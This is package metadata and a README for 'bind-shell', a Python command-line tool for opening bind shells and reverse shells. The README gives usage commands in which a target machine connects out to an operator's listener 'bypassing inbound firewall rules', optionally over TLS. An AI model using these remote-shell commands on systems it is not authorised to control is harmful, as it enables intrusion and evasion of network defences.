Metadata-Version: 2.4
Name: bind-shell
Version: 1.0.1
Summary: A CLI for creating and connecting to bind shells and reverse shells. Zero external dependencies — built entirely on Python stdlib.
License: MIT
Author: Tyson Holub
Author-email: tyson@tysonholub.com
Requires-Python: >=3.10,<4.0
Classifier: License :: OSI Approved :: MIT License
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Programming Language :: Python :: 3.13
Classifier: Programming Language :: Python :: 3.14
Project-URL: Homepage, https://gitlab.com/tysonholub/bind-shell
Description-Content-Type: text/markdown

# bind-shell [![PyPi](https://img.shields.io/badge/python-3.10%20%7C%203.11%20%7C%203.12%20%7C%203.13-%2344CC11)](https://pypi.org/project/bind-shell/) [![PyPiStats](https://img.shields.io/pypi/dm/bind-shell.svg)](https://pypistats.org/packages/bind-shell)

A CLI for creating and connecting to bind shells and reverse shells. Zero external dependencies — built entirely on Python stdlib.

## Install

Use [pipx](https://pypa.github.io/pipx/) to install globally in an isolated python environment.

```bash
pipx install bind-shell
```

## Usage

```
usage: bind-shell [-h] {server,client,listen,connect} ...

positional arguments:
  {server,client,listen,connect}
    server              Bind shell: bind a port and execute commands from an incoming client
    client              Bind shell: connect to a server and send commands interactively
    listen              Reverse shell: bind a port and send commands to an incoming connector
    connect             Reverse shell: connect out to a listener and execute its commands
```

Pass --help to any positional argument for more detail.

### Bind shell

The target runs `server` — it binds a port, logs the connection command, and waits. The operator runs `client` to connect in and issue commands.

```bash
# target
$ bind-shell server --shell bash
Bind-Shell WAN: bind-shell client 12.34.77.19 --port 4444 --password lvwsJLXjz0fhPtMVUQU6Ug
Bind-Shell LAN: bind-shell client 192.168.86.25 --port 4444 --password lvwsJLXjz0fhPtMVUQU6Ug
Bind-Shell Local: bind-shell client localhost --port 4444 --password lvwsJLXjz0fhPtMVUQU6Ug

# operator (use the connection string logged by the server)
$ bind-shell client 12.34.77.19 --port 4444 --password lvwsJLXjz0fhPtMVUQU6Ug
Connected: 12.34.77.19:4444
admin@server:~$
```

### Reverse shell

The operator runs `listen` — it binds a port, logs the connection command, and waits. The target runs `connect` to call back out, bypassing inbound firewall rules.

```bash
# operator
$ bind-shell listen
Reverse-Shell WAN: bind-shell connect 12.34.77.19 --port 4444 --password nYA9pFabJ1ojR2ZfyQHabA
Reverse-Shell LAN: bind-shell connect 192.168.86.26 --port 4444 --password nYA9pFabJ1ojR2ZfyQHabA
Reverse-Shell Local: bind-shell connect localhost --port 4444 --password nYA9pFabJ1ojR2ZfyQHabA

# target (use the connection string logged by the listener)
$ bind-shell connect 12.34.77.19 --port 4444 --password nYA9pFabJ1ojR2ZfyQHabA --shell bash
Connected: 12.34.77.19:4444
user@target:~$
```

Type `exit` and/or `Ctrl + C` to close a session.

### TLS encryption

Pass `--tls` to encrypt traffic. Like HTTPS, this uses one-way TLS: only the listening side (`server` or `listen`) presents a certificate; the connecting side (`client` or `connect`) accepts it without verification and does not need a certificate of its own.

Generate a self-signed certificate on the listening machine before starting:

```bash
$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
```

**Bind shell with TLS:**

```bash
# target
$ bind-shell server --tls --cert cert.pem --key key.pem

# operator (connection string is logged by the server, including --tls)
$ bind-shell client 12.34.77.19 --port 4444 --password <password> --tls
```

**Reverse shell with TLS:**

```bash
# operator
$ bind-shell listen --tls --cert cert.pem --key key.pem

# target (connection string is logged by the listener, including --tls)
$ bind-shell connect 12.34.77.19 --port 4444 --password <password> --tls
```

Both sides must use `--tls` together — a TLS listener and a plain client will hang, since the listener waits for a TLS handshake that never arrives.

## Dev Prerequisites

- python >=3.10
- [pipx](https://pypa.github.io/pipx/), an optional tool for prerequisite installs
- [poetry](https://github.com/python-poetry/poetry) (install globally with `pipx install poetry`)
- [flake8](https://github.com/PyCQA/flake8) (install globally with `pipx install flake8`)
    - [flake8-bugbear](https://github.com/PyCQA/flake8-bugbear) extension (install with `pipx inject flake8 flake8-bugbear`)
    - [flake8-naming](https://github.com/PyCQA/pep8-naming) extension (install with `pipx inject flake8 pep8-naming`)
- [black](https://github.com/psf/black) (install globally with `pipx install black`)
- [pre-commit](https://github.com/pre-commit/pre-commit) (install globally with `pipx install pre-commit`)
- [just](https://github.com/casey/just), a Justfile command runner

## Updating python version

- Update python version in `Dev Prerequisites` above
- Update \[tool.poetry.dependencies\] section of `pyproject.toml`
- Update pyupgrade hook in `.pre-commit-config.yaml`
- Update python version in `.gitlab-ci.yml`

## Justfile Targets

- `install`: installs poetry dependencies and pre-commit git hooks
- `update_boilerplate`: fetches and applies updates from the boilerplate remote
- `test`: runs pytest with test coverage report

## Boilerplate

This project tracks the [pyplate](https://gitlab.com/tysonholub/pyplate) boilerplate via the `boilerplate` git remote. Run `just update_boilerplate` to pull latest changes. **NOTE**: keep the boilerplate remote history intact to successfully merge future updates.

